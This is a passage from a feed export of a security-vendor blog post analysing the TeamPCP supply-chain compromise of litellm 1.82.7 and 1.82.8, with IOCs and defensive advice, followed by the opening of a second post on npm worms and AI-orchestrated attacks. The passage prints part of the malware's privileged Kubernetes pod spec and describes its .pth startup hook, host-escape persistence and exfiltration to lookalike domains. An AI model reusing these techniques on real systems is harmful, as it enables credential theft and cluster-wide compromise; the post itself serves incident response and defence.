    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;spec&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;nodeName&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;node_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hostPID&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hostNetwork&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;tolerations&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;operator&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Exists&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
        &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;containers&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;
            &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;setup&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;image&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;alpine:latest&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;command&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sh&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;drop_cmd&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
            &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;securityContext&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;privileged&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;volumeMounts&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;host&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;mountPath&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/host&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
        &lt;span class="p"&gt;}],&lt;/span&gt;
        &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;volumes&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;host&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hostPath&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;}}],&lt;/span&gt;
        &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;restartPolicy&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Never&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each pod:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Runs as &lt;strong&gt;privileged&lt;/strong&gt; with &lt;code&gt;hostPID&lt;/code&gt;, &lt;code&gt;hostNetwork&lt;/code&gt;, and full host filesystem access&lt;/li&gt;
&lt;li&gt;Uses &lt;code&gt;chroot /host&lt;/code&gt; to install the same &lt;code&gt;sysmon.py&lt;/code&gt; backdoor on the host's root filesystem&lt;/li&gt;
&lt;li&gt;Registers it as a systemd service, ensuring persistence survives pod deletion&lt;/li&gt;
&lt;li&gt;Named &lt;code&gt;node-setup-*&lt;/code&gt; in the &lt;code&gt;kube-system&lt;/code&gt; namespace to appear as legitimate cluster infrastructure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This means a &lt;strong&gt;single compromised CI/CD runner with K8s access could result in every node in the cluster being backdoored&lt;/strong&gt; -- a catastrophic lateral movement scenario for organizations running litellm as a proxy in Kubernetes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Payload Evolution (Commented-Out Variants)
&lt;/h3&gt;

&lt;p&gt;The source code at lines 131-132 contains two commented-out earlier payload variants, revealing the attacker's development process:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;All three variants&lt;/strong&gt; share the same exfiltration infrastructure (&lt;code&gt;models.litellm.cloud&lt;/code&gt;), RSA-4096 public key, AES-256-CBC + RSA hybrid encryption wrapper, and &lt;code&gt;tpcp.tar.gz&lt;/code&gt; bundle naming&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Earlier variants&lt;/strong&gt; added an &lt;strong&gt;RC4 encryption layer&lt;/strong&gt; inside the data collection script, encrypting harvested data before the outer AES+RSA wrapper. The active payload (line 130) simplified by removing this inner RC4 layer&lt;/li&gt;
&lt;li&gt;The earlier variants use &lt;code&gt;exec()&lt;/code&gt; with &lt;code&gt;StringIO&lt;/code&gt; capture to run the collector in-process, while the active payload uses &lt;code&gt;subprocess.run()&lt;/code&gt; with stdout redirect -- a cleaner separation that avoids polluting the host process&lt;/li&gt;
&lt;li&gt;All three variants target the same credential categories and collection paths&lt;/li&gt;
&lt;li&gt;The RC4 key in the earlier variants was a provocative slur, consistent with the actor's attention-seeking behavior on Telegram&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This reveals active development during the operation. The attacker simplified the encryption stack and improved execution isolation while keeping the collection targets and exfiltration infrastructure stable.&lt;/p&gt;




&lt;h2&gt;
  
  
  Indicators of Compromise (IOCs)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Network
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;models.litellm.cloud&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;Exfiltration endpoint (HTTPS POST)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;checkmarx.zone&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;C2 polling endpoint (HTTPS GET &lt;code&gt;/raw&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Note: External reporting links &lt;code&gt;checkmarx.zone/static/checkmarx-util-1.0.4.tgz&lt;/code&gt; to the earlier KICS phase of the TeamPCP campaign. This URL was not found in the litellm payloads analyzed here.&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Package Hashes
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;litellm-1.82.7.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;litellm-1.82.8.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  File System
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;~/.config/sysmon/sysmon.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;Persistent backdoor script&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;~/.config/systemd/user/sysmon.service&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;Systemd persistence unit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/tmp/pglog&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;Downloaded second-stage binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/tmp/.pg_state&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;C2 state tracking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;litellm_init.pth&lt;/code&gt; in &lt;code&gt;site-packages/&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;Python startup hook (v1.82.8 only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tpcp.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;Encrypted exfiltration bundle&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Kubernetes
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;node-setup-*&lt;/code&gt; pods in &lt;code&gt;kube-system&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Pod&lt;/td&gt;
&lt;td&gt;Privileged lateral movement pods&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;sysmon.service&lt;/code&gt; on cluster nodes&lt;/td&gt;
&lt;td&gt;Service&lt;/td&gt;
&lt;td&gt;Host-level persistence via pod escape&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Cryptographic
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Attacker RSA-4096 public key&lt;/td&gt;
&lt;td&gt;SHA256 fingerprint: &lt;code&gt;bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8&lt;/code&gt;. Embedded in all three payload variants; same key reported across other TeamPCP operations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;tpcp&lt;/code&gt; prefix in artifacts&lt;/td&gt;
&lt;td&gt;Bundle naming convention (&lt;code&gt;tpcp.tar.gz&lt;/code&gt;) consistent across the campaign&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Attribution: TeamPCP
&lt;/h2&gt;

&lt;p&gt;The threat actor behind this campaign is tracked as &lt;strong&gt;TeamPCP&lt;/strong&gt;, also known as PCPcat, Persy_PCP, ShellForce, and DeadCatx3.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Known characteristics:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Maintains Telegram channels at &lt;code&gt;@Persy_PCP&lt;/code&gt; and &lt;code&gt;@teampcp&lt;/code&gt; where they taunted security companies&lt;/li&gt;
&lt;li&gt;Operates across multiple ecosystems (GitHub Actions, PyPI, npm, OpenVSX)&lt;/li&gt;
&lt;li&gt;Uses vendor-specific typosquat domains for each phase of the campaign (e.g., &lt;code&gt;checkmarx.zone&lt;/code&gt; for Checkmarx, &lt;code&gt;models.litellm.cloud&lt;/code&gt; for litellm)&lt;/li&gt;
&lt;li&gt;Consistent infrastructure markers: same RSA key pair, &lt;code&gt;tpcp.tar.gz&lt;/code&gt; naming convention, &lt;code&gt;tpcp-docs-*&lt;/code&gt; GitHub repositories used as dead-drop staging&lt;/li&gt;
&lt;li&gt;Targets security tools as entry points to downstream supply chains&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Attribution confidence&lt;/strong&gt;: High. The shared RSA public key, &lt;code&gt;tpcp&lt;/code&gt; artifact naming, C2 infrastructure overlap, and operational tempo across the five-day campaign strongly link the Trivy, KICS, npm, OpenVSX, and litellm compromises to the same actor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Motivation&lt;/strong&gt;: Likely financial (crypto wallet theft, cloud credential monetization) combined with notoriety (Telegram taunting). The breadth of credential harvesting -- from AWS IAM to Solana validator keypairs to WireGuard configs -- suggests a financially motivated actor seeking to maximize ROI from each compromise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Possible AI assistance&lt;/strong&gt;: The credential harvester is systematically comprehensive -- 15+ categories including niche targets like Cardano signing keys, WireGuard configs, and Kaniko Docker credentials -- in a way that is consistent with AI-assisted enumeration. The speed of payload iteration (three variants with different encryption schemes), cross-ecosystem coordination (5 ecosystems in 5 days), and operational OPSEC (vendor-impersonating domains, hybrid encryption, systemd persistence disguised as telemetry) suggest a level of throughput that may reflect AI-assisted development as a force multiplier. This assessment is speculative; skilled operators could achieve similar scope without AI tooling.&lt;/p&gt;




&lt;h2&gt;
  
  
  New TTPs and Techniques
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Security Tool Supply Chain Poisoning (T1195.002 variant)
&lt;/h3&gt;

&lt;p&gt;Compromising security scanners (Trivy, KICS) as a first-hop to reach downstream targets is a new escalation. The attacker didn't just compromise a library -- they compromised the tools organizations use to &lt;em&gt;detect&lt;/em&gt; compromised libraries. This creates a blind spot: the scanner that should catch the malicious code is itself the delivery mechanism.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Python &lt;code&gt;.pth&lt;/code&gt; File Persistence (T1546)
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;litellm_init.pth&lt;/code&gt; technique in v1.82.8 is particularly insidious. Python &lt;code&gt;.pth&lt;/code&gt; files in &lt;code&gt;site-packages/&lt;/code&gt; are processed on every interpreter startup; any line beginning with &lt;code&gt;import&lt;/code&gt; is executed as code. By chaining the payload onto a single &lt;code&gt;import&lt;/code&gt; statement, the attacker achieves execution on every Python process -- not just when litellm is imported. This means the payload fires even if litellm is installed but never used, and it survives remediation that replaces compromised &lt;code&gt;.py&lt;/code&gt; files without checking for &lt;code&gt;.pth&lt;/code&gt; files.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Kubernetes Cluster-Wide Lateral Movement via Privileged Pod Deployment (T1610, T1611)
&lt;/h3&gt;

&lt;p&gt;The automated creation of privileged pods on every cluster node -- with &lt;code&gt;hostPID&lt;/code&gt;, &lt;code&gt;hostNetwork&lt;/code&gt;, host filesystem mount, and &lt;code&gt;chroot&lt;/code&gt; to install persistence -- chains container deployment (T1610) with escape to host (T1611) to turn a single compromised workload into full cluster compromise.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Vendor-Impersonating C2 Infrastructure
&lt;/h3&gt;

&lt;p&gt;Using &lt;code&gt;models.litellm.cloud&lt;/code&gt; (mimics litellm) and &lt;code&gt;checkmarx.zone&lt;/code&gt; (mimics Checkmarx) as C2/exfil endpoints is designed to evade network monitoring. SOC analysts reviewing egress traffic would see HTTPS connections to what appear to be legitimate vendor domains.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Rapid In-Flight Payload Iteration
&lt;/h3&gt;

&lt;p&gt;Publishing v1.82.7 with import-time execution, then v1.82.8 with startup-time execution 13 minutes later, shows the attacker monitoring and adapting in real time. The commented-out payload variants (with different encryption schemes) preserved in the source code confirm active development during the operation.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Can Be Done
&lt;/h2&gt;

&lt;p&gt;This attack exploits trust at every layer: trust in security tools, trust in package registries, trust in familiar-looking domains, trust in CI/CD automation. Defending against it requires hardening each of these trust boundaries:&lt;/p&gt;

&lt;h3&gt;
  
  
  For Package Consumers
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Pin dependencies by hash, not just version.&lt;/strong&gt; &lt;code&gt;pip install litellm==1.82.6 --hash=sha256:...&lt;/code&gt; would have prevented the compromised versions from being installed even if they briefly appeared as the latest version.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use lockfiles.&lt;/strong&gt; &lt;code&gt;pip-compile&lt;/code&gt;, &lt;code&gt;poetry.lock&lt;/code&gt;, and &lt;code&gt;uv.lock&lt;/code&gt; capture exact versions and hashes. CI/CD should install from lockfiles, not from floating version specifiers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor for &lt;code&gt;.pth&lt;/code&gt; files.&lt;/strong&gt; Regularly audit &lt;code&gt;site-packages/&lt;/code&gt; for unexpected &lt;code&gt;.pth&lt;/code&gt; files -- they execute on every Python startup and are an underappreciated persistence mechanism.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implement egress network controls.&lt;/strong&gt; The exfiltration to &lt;code&gt;models.litellm.cloud&lt;/code&gt; and C2 polling to &lt;code&gt;checkmarx.zone&lt;/code&gt; could have been caught by allowlist-based egress filtering in production environments.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  For Package Maintainers
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Pin CI/CD actions by commit SHA, not tag.&lt;/strong&gt; LiteLLM's pipeline used Trivy without a pinned version. If it had referenced &lt;code&gt;aquasecurity/trivy-action@&amp;lt;commit-sha&amp;gt;&lt;/code&gt; instead of &lt;code&gt;@latest&lt;/code&gt;, the compromised action would not have executed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use short-lived, scoped publishing tokens.&lt;/strong&gt; PyPI supports Trusted Publishers (OIDC-based) and scoped API tokens. The exfiltrated &lt;code&gt;PYPI_PUBLISH&lt;/code&gt; token should not have had long-lived, unrestricted publishing access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enable two-factor authentication on PyPI.&lt;/strong&gt; Require 2FA for all maintainers and use hardware security keys where possible.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sign packages.&lt;/strong&gt; Sigstore/PEP 740 attestations allow consumers to verify that a package was built by the expected CI/CD pipeline, not by an attacker with a stolen token.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  For Platform Operators (PyPI, npm, GitHub)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detect anomalous publishing patterns.&lt;/strong&gt; Two new versions published 13 minutes apart, from a different IP or token than usual, should trigger hold-for-review or automated scanning before the package becomes installable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accelerate Trusted Publishers adoption.&lt;/strong&gt; OIDC-based publishing ties packages to specific repositories and workflows, making stolen tokens useless outside the original CI/CD context.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implement publish-time malware scanning.&lt;/strong&gt; The base64-decoded payload in proxy_server.py would be detectable by static analysis at publish time.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  For the Ecosystem
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Treat security tools as critical infrastructure.&lt;/strong&gt; Trivy and Checkmarx KICS are used by millions of pipelines. Their GitHub Actions should be signed, pinned, and monitored with the same rigor as the packages they scan.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Invest in runtime detection.&lt;/strong&gt; Static analysis alone cannot catch every obfuscation technique. Runtime monitoring of package install hooks, unexpected network connections, and suspicious file access patterns provides defense in depth.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Share threat intelligence faster.&lt;/strong&gt; The 5.5-hour exposure window for litellm could have been shorter with faster cross-vendor coordination. Automated scanning services like Xygeni MEW, Socket, and Snyk detected the anomaly -- the bottleneck is human confirmation and registry response time.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The TeamPCP campaign is a watershed moment for &lt;a href="https://xygeni.io/cicd-security/" rel="noopener noreferrer"&gt;software supply chain security&lt;/a&gt;. By compromising security scanners first and using them as stepping stones to high-value AI infrastructure, the attackers demonstrated that the supply chain is only as strong as its weakest transitive dependency -- and that dependency might be the security tool you trust to keep you safe.&lt;/p&gt;

&lt;p&gt;The litellm compromise specifically highlights the growing risk to AI infrastructure. As LLM proxy gateways become the standard pattern for enterprise AI deployment, they concentrate access to API keys, cloud credentials, and sensitive data in a single component. Compromising that component is a skeleton key to the entire AI stack.&lt;/p&gt;

&lt;p&gt;Organizations that installed litellm 1.82.7 or 1.82.8 during the 5.5-hour window should treat this as a full credential compromise: rotate all secrets on affected systems, audit Kubernetes clusters for &lt;code&gt;node-setup-*&lt;/code&gt; pods in &lt;code&gt;kube-system&lt;/code&gt;, remove any &lt;code&gt;sysmon.service&lt;/code&gt; systemd units, and check for &lt;code&gt;litellm_init.pth&lt;/code&gt; in Python &lt;code&gt;site-packages/&lt;/code&gt; directories. Users of the official Docker image (&lt;code&gt;ghcr.io/berriai/litellm&lt;/code&gt;) were not affected, as the image pinned its dependencies and was not rebuilt during the exposure window.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>appsec</category>
      <category>python</category>
    </item>
    <item>
      <title>New Threats in Open Source: Worms, AI-Driven Malware, and Trust Abuse</title>
      <dc:creator>Luis Manuel Rodriguez Berzosa</dc:creator>
      <pubDate>Wed, 07 Jan 2026 17:35:00 +0000</pubDate>
      <link>https://dev.to/xygenisecurity/new-threats-in-open-source-worms-ai-driven-malware-and-trust-abuse-3dm9</link>
      <guid>https://dev.to/xygenisecurity/new-threats-in-open-source-worms-ai-driven-malware-and-trust-abuse-3dm9</guid>
      <description>&lt;blockquote&gt;
&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;The open source supply chain threat landscape has fundamentally shifted. Three converging trends are redefining risk:&lt;/p&gt;
&lt;h3&gt;
  
  
  Self-Propagating Worms Have Arrived
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shai-Hulud (Sept 2025):&lt;/strong&gt; First npm worm attack — stole credentials via &lt;code&gt;postinstall&lt;/code&gt; hooks, then autonomously republished itself across ~700 package versions using compromised maintainer tokens.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GlassWorm (Oct 2025):&lt;/strong&gt; VS Code extension malware using invisible Unicode-encoded payloads and unkillable blockchain-based C2 (Solana). 35 K+ installations, full RAT capabilities targeting crypto wallets.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shai-Hulud 2.0 (Nov 2025):&lt;/strong&gt; Cross-registry jump from npm to Maven Central via automated mirroring tools, plus GitHub Discussions weaponized as C2 and a destructive wiper fallback.
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  AI Is Now the Operator, Not Just the Tool
&lt;/h3&gt;

&lt;p&gt;A documented cyber-espionage campaign achieved autonomous execution using &lt;strong&gt;Claude&lt;/strong&gt; as an orchestration engine — reconnaissance, exploitation, lateral movement, and exfiltration with minimal human oversight.&lt;br&gt;&lt;br&gt;
The barrier to sophisticated attacks has collapsed from &lt;em&gt;“expert team”&lt;/em&gt; to &lt;em&gt;“someone who understands prompting.”&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Infrastructure Abuse at Scale
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;IndonesianFoods&lt;/strong&gt; campaign flooded npm with ~44 000 spam packages exploiting blockchain reward systems (TEA Protocol), persisting for nearly two years before cleanup.&lt;br&gt;&lt;br&gt;
Red-team scenarios are also abusing OSS infrastructure.&lt;/p&gt;
&lt;h3&gt;
  
  
  Bottom Line
&lt;/h3&gt;

&lt;p&gt;Every compromised developer machine is now a potential worm propagation point.&lt;br&gt;&lt;br&gt;
Credential theft enables autonomous spread.&lt;br&gt;&lt;br&gt;
AI can orchestrate attacks at machine speed.&lt;br&gt;&lt;br&gt;
Traditional detection and takedown approaches are failing against immutable C2 and cross-registry propagation.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Defense must assume compromise and focus on containment velocity.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  New Threats to the Open Source Ecosystem: Worms, AI-Cooked Malware, and Large-Scale Trust Abuse
&lt;/h2&gt;

&lt;p&gt;The open-source ecosystem is facing a &lt;strong&gt;paradigm shift&lt;/strong&gt; in supply-chain threats.&lt;br&gt;&lt;br&gt;
